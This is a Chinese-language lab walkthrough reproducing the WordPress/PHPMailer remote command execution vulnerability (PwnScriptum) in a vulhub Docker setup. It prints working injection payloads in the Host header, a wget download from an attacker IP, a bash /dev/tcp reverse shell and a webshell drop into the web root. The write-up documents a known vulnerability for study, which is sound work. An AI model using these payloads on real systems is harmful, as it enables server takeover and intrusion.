Wordpress任意命令执行漏洞 PwnScriptum
1.漏洞描述&环境搭建
WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(本 <5,2.18)存在远程命令执行漏洞,攻击者只需巧炒地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危書。
注意点⚠️:命令只在服务器端执行命令、不会显示在容户端
环境搭建:使用vulhub结合docker,切换到wordpress到PwnScriptum下,运行:
docker-compose up -d
记得初始化安装一下
2.漏洞复现
受影响版本:WordPress <= 4.6 PHPMailer < 5.2.18
发送如下数据包,可见/tmp/success_poc
已经成功创建:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success_poc}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=huluwa
但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
- 执行的命令不能包含大量特殊字符,如
:
、引号等。 - 命令会被转换成小写字母
- 命令需要使用绝对路径
- 需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}
代替/
,用${substr{10}{1}{$tod_log}}
代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh
的方法先将他下载到/tmp目录中,再去执行。
反弹Shell:
利用的思想跟写入文件差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的。
将bash -i >& /dev/tcp/10.211.55.5/9999 0>&1写入到攻击机1.txt中。
发送payload,下载1.txt到靶机/tmp/fanshell。
payload:
payload:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}fanshell${substr{10}{1}{$tod_log}}10.211.55.3${substr{0}{1}{$spool_directory}}1.txt}}null)
攻击端监听9999端口。
发送payload运行shell:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}fanshell}} null)
webshell再用工具连接:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}huluwas.php${substr{10}{1}{$tod_log}}10.211.55.3${substr{0}{1}{$spool_directory}}1.txt}} null)
上面的payload意思是:从10.211.55.3这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为huluwa.php。
3.修复建议
更新wordpress、phpmailer到最新版本
坑点总结:我们启动服务的时候要用默认的80端口启动服务才能顺利把文件加载。